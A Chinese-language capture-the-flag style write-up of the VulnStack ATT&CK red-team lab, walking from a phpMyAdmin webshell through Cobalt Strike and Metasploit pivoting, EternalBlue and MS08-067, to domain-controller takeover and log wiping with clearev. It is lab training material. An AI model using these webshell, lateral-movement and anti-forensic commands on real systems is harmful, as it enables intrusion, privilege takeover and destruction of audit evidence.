VulnStack - ATT&CK红队评估实战(一) Writeup

VulnStack(一)环境搭建

  • 项目地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  • 网络拓扑

环境说明

下载回来有三个虚拟机(虚拟机所有统一密码:hongrisec@2019):

  • VM1: vulnstack-win7

  • VM2: vulnstack-Win2K3 Metasploitable

  • VM3: vulnstack-winserver08

  • 物理机 192.168.111.1

  • kali 192.168.111.129

WP、漏洞讲解

官方WP:https://www.zrools.org/2020/03/09/VulnStack-ATT-CK红队评估实战-一-Writeup/

优秀WP:https://blog.csdn.net/weixin_54902210/article/details/124329382

最初的已知条件

已知一个目标IP为192.168.111.128

拿下DMZ-Windows7(192.168.111.128)

1、端口扫描 & Web目录扫描

nmap 192.168.111.128
nmap -A -T4 192.168.111.128 御剑1.5
dirb http://192.168.111.128
dirsearch -u "http://192.168.111.128/" -e *
python dirmap.py -i http://192.168.111.128/ -lcf
dirmap =>
[200][application/x-rar-compressed][3.00mb] http://192.168.111.128/beifen.rar
[200][text/html][70.42kb] http://192.168.111.128/phpinfo.php
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyAdmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyAdmin/
[200][text/html; charset=utf-8][14.39kb] http://192.168.111.128//l.php

2、phpMyAdmin GetShell【法一】

拓展思路:phpmyadmin写shell的几种方法

http://192.168.111.128/phpMyAdmin/

set global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';

3、CMS后台GetShell【法二】

接着再看一下beifen.rar这个文件,下载解压后是个yxcms文件夹,访问yxcms目录正是站点,直奔后台:

http://192.168.54.3/yxcms/index.php?r=admin/index/login

尝试admin/123456弱口令登录成功,然后在模板文件管理直接写Shell就可以了(在[全局设置->前台模板]中有很多php文件,随便找一个写入一句话木马):[index_index.php => index.php]

参考文章:https://www.cnblogs.com/yujin2020/p/14310839.html

4、通过蚁剑实现Windows远程连接

不做也ok

远程开启3389
1、查看3389开放情况 netstat -ano
2、开启3389端口(服务)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3、添加管理员组用户 或者 使用管理员账户
①添加管理员组用户
net user xxx Admin@123/add
net localgroup Administrators xxx /add
或者
②使用管理员账户
修改密码
net user administrator Admin@123
激活用户
net user administrator /active:yes 其他操作:
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载

5、CS上线

cs开启服务端、客户端、设置监听器、制作Windows木马,通过蚁剑上传木马,蚁剑运行木马,cs成功上线

右键会话 -> sheep 1

DMZ-Windows7内网信息收集

1、Ladon911 一键信息收集

蚁剑上传Laon.exe

shell Ladon.exe 192.168.111.128 PortScan
shell Ladon.exe 192.168.52.0/24 PortScan

cs探测192.168.111.128

cs探测192.168.52.0/24

内网主机有445端口,且为Windows主机 => 可以尝试永恒之蓝漏洞是否可以利用

shell Ladon.exe 192.168.111.128 OsScan
shell Ladon.exe 192.168.52.0/24 OsScan

192.168.52.141是台Win2003,开了445端口,尝试拿MS08-067打。

2、CS信息收集

shell whoami
shell ipconfig /all
shell route print
shell arp -a
shell ping 192.168.52.141 内网信息收集获取关键信息:
查询操作系统和版本信息 systeminfo
机器名 hostname
当前用户 whoami
本地管理员 STU1/administrator
GOD/administrator
查看用户 net user
查看共享信息 net share

3、CS派生MSF生成SHELL控制内网(msf与CS联动)

1、msf创建监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.129
set lport 9999
exploit

2、在CS上添加监听器

3、传递会话

右键目标 => 增加会话 => 选择msf监听器

4、搭建隧道进内网(192.168.52.0/24)

实现:cs开隧道,msf链接隧道进内网

cs右键目标 => 中转 => SOCKS Server(设置端口)

cs最上面视图 => 代理信息(可看到cs开放代理情况) => 下边点击Tunnel => 复制msf代理情况 => 粘贴到msf进行执行

内网渗透(192.168.52.141)

前提:cs开隧道,msf链接隧道进内网

1、由445端口尝试永恒之蓝

探测是否存在漏洞(一遍运行不成功就运行第二遍 => 可能存在防火墙的原因)

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.52.141,很耗时,而且session很大概率直接就died了。拿exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

2、使用ms17_010_command拿下内网主机【法一】

尝试ms17_010_command关闭系统防火墙

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

使用ms17_010_command拿下域内主机192.168.52.141

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "ipconfig /all"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

3、MS08-067搭配Bind TCP拿下内网主机【法二】

首先添加路由,使用Web服务器作为跳板访问Win2003

meterpreter > run autoroute -s 192.168.52.0/24
meterpreter > run autoroute -p

Bind TCP

接着MS08-067搭配Bind TCP使用:

meterpreter > background
msf6 exploit(multi/handler) > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.52.141
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

正常来说应该是可以滴,估计是环境问题罢了。

内网横向移动(拿下域控192.168.52.138)

域内信息收集
当前用户必须是域用户,而不是本地用户(除过本地的system用户)
1、 whoami 查询当前用户
2、 net user /domain 查询域内又几个用户(只能是域用户才有权限查询)
3、 net group "domain computers" /domain 查询域中的计算机名字
4、 net group "Domain Controllers" /domain 查询域控的名字
5、 nslookup -type=SRV _ldap._tcp 查询域控

1、抓取域内主机用户密码

2、域内主机通过ipc连接上域控

shell net use \\192.168.52.138\ipc$ "hongrisec@2019" /user:god\administrator

3、上传隧道马(s)

①先手动上传木马到拿下的dmz区域的域内主机

②使用ipc,将域内主机的木马文件复制进域控上

shell copy beacon.exe \\192.168.52.138\c$

4、通过计划任务运行木马【法一】

优点:直接忽略防火墙

shell schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\beacon.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "test"
link 192.168.56.138

成功拿下域控

5、利用哈希传递(PTH)一键上线不出网机器【法二】

优点:直接忽略防火墙

cs左上角点击Cobalt Strike => 可视化 => 目标列表 => 选择要上线设备(192.168.52.135) => 点击Jump => 选择psexec64 => 其余设置结果如下:

参考文章:https://www.cnblogs.com/sunny11/p/14301425.html

6、利于MS17-010拿下域控【法三】

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.72.102,很耗时,而且session很大概率直接就died了。拿exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

  • 系统防火墙

估计是被防火墙干掉了,尝试用ms17_010_command先关掉它:

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

  • MS17-010 和 Bind TCP

接着再拿ms17_010_psexecbind_tcp打一次:

msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.138
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

成功反弹获取session,拿下域控!

清理痕迹

  • 删除添加的域管理账号(这里没有添加);
  • 删除服务器上渗透上传的工具;
  • 删除应用程序、系统和安全日志;
meterpreter > clearev
[*] Wiping 1474 records from Application...
[*] Wiping 4836 records from System...
[*] Wiping 41363 records from Security...
  • 断开MSF等连接;
  • 其他。

总结

这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:

  • phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
  • CMS后台弱口令配合后台模板管理写Shell;
  • 备份文件文件泄漏数据库配置和CMS源码等信息;
  • 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。

主机上还有些其他的服务,比如FTPWeblogicLDAP等可能存在漏洞,信息收集可以看看浏览器有没有保存密码什么的,mimikatz抓不到明文看看是不是64位机子加载到32位版本了,payload打过去异常可以换一个试试或者看看是不是防火墙的影响什么的,总之,没有一成不变的办法,遇到问题还要多分析。

靶场描述

基本信息
作 者: hongri
创建时间: 2019年10月20日 14:05
标 签: 内网渗透 | Kill Chain | 域渗透 | 威胁情报 描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集 二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集 三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞 四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权 五、构建通道
18.内网其它主机端口-代理转发 六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用 七、痕迹清理
25、日志清理 文件
ATT&CK红队评估实战靶场
文件大小: 13 GB
文件MD5: e16fd0f6a5104aef0dfa73460afff0e8
文件SHA1: 078ce02d01298fe40a1feb8260fde79d5fb06bc6
下载地址:

VulnStack - ATT&CK红队评估实战(一) Writeup的更多相关文章

  1. ATT&CK红队评估实战靶场(一)

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...

  2. ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程

    介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...

  3. 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用

    最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...

  4. vulstack红队评估(五)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: Win7: heart 123.com    #本地管理员用户 sun\Administrator dc123.com    #域管用户,改 ...

  5. vulstack红队评估(四)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu   win7: douser:Dotest123   Win2008 DC: administr ...

  6. vulstack红队评估(三)

    一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件   ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...

  7. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  8. vulstack红队评估(一)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019   因为登陆前要修改密码,改为了panda666...   2.虚拟网卡网络配置: ①Win7双 ...

  9. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

  10. ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署

    靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...

随机推荐

  1. ABP - 缓存模块(1)

    1. 与 .NET Core 缓存的关系和差异 ABP 框架中的缓存系统核心包是 Volo.Abp.Caching ,而对于分布式缓存的支持,abp 官方提供了基于 Redis 的方案,需要安装 Vo ...

  2. 揭秘 Task.Wait

    目录 简介 背后的实现 Task.Wait 的两个阶段 SpinWait 阶段 BlockingWait 阶段 Task.Wait 可能会导致的问题 可能会导致线程池饥饿 可能会导致死锁 .NET 6 ...

  3. ubuntu22.04下编译ffmpeg-6.0,并且激活x264编码功能。记录一下踩坑(ERROR: x264 not found using pkg-config)

    一.编译x264(在编译前确保安装了pkg-config,默认在/usr/share下) 1.下载x264源代码:(我下载到了~/Downloads下,各位随意就好) git clone https: ...

  4. 如何在 Windows10 Professional 服务器上搭建自己的 Git 服务器。

    一.简介 以前,在别家的公司,一般早就把源代码管理工具搭建好了,很少有机会自己搭建一套.最近,公司也许要把现在不少的源码进行管理,于是我打算自己搭建源代码管理服务器.说起源代码管理,当然有很多中解决方 ...

  5. [Spring+SpringMVC+Mybatis]框架学习笔记(九):Mybatis主配置文件和映射文件

    第9章 Mybatis主配置文件和映射文件 9.1 用Mybatis进行开发的两种方式 在正式的开发环境中用Mybatis进行开发有两种方式: 1)原始的接口和实现类的方式 缺点: 重复代码太多,sq ...

  6. 国产化之x64平台安装银河麒麟操作系统

    背景 某个项目需要实现基础软件全部国产化,其中操作系统指定银河麒麟v4,CPU使用飞腾处理器.飞腾处理器是ARMv8架构的,在之前的文章中介绍了使用QEMU模拟ARMv8架构安装银河麒麟操作系统的方式 ...

  7. YUM histoy 与 RPM -qa --last

    查看Linux yum安装包的安装时间,可以使用以下命令: rpm -qa --last 该命令将显示已安装的所有rpm包及其安装日期和时间. 可以使用管道符 '|' 和 grep 命令来查找特定的包 ...

  8. Linux 性能监控与分析相关的软件包

    检测系统进程和资源使用情况 -- procps-ng procps-ng是一个用于检测Linux系统进程和资源使用情况的系统工具,它是procps的一个重写版本.它提供了多种用于检测Linux系统中进 ...

  9. 安装.NET Framework4.5以上版本受阻怎么办?

    安装和卸载 .NET Framework 受阻疑难解答 - .NET Framework | Microsoft Learn Windows RT 8.1.Windows 8.1 和 Windows ...

  10. GoRedisLock:Golang保障数据一致性的分布式锁解决方案

    在现代分布式系统中,多个节点之间共享资源是常见的需求.然而,并发访问共享资源可能导致数据不一致性和竞争条件.为了解决这些问题,我们需要引入分布式锁.GoRedisLock是一个出色的分布式锁库,它结合 ...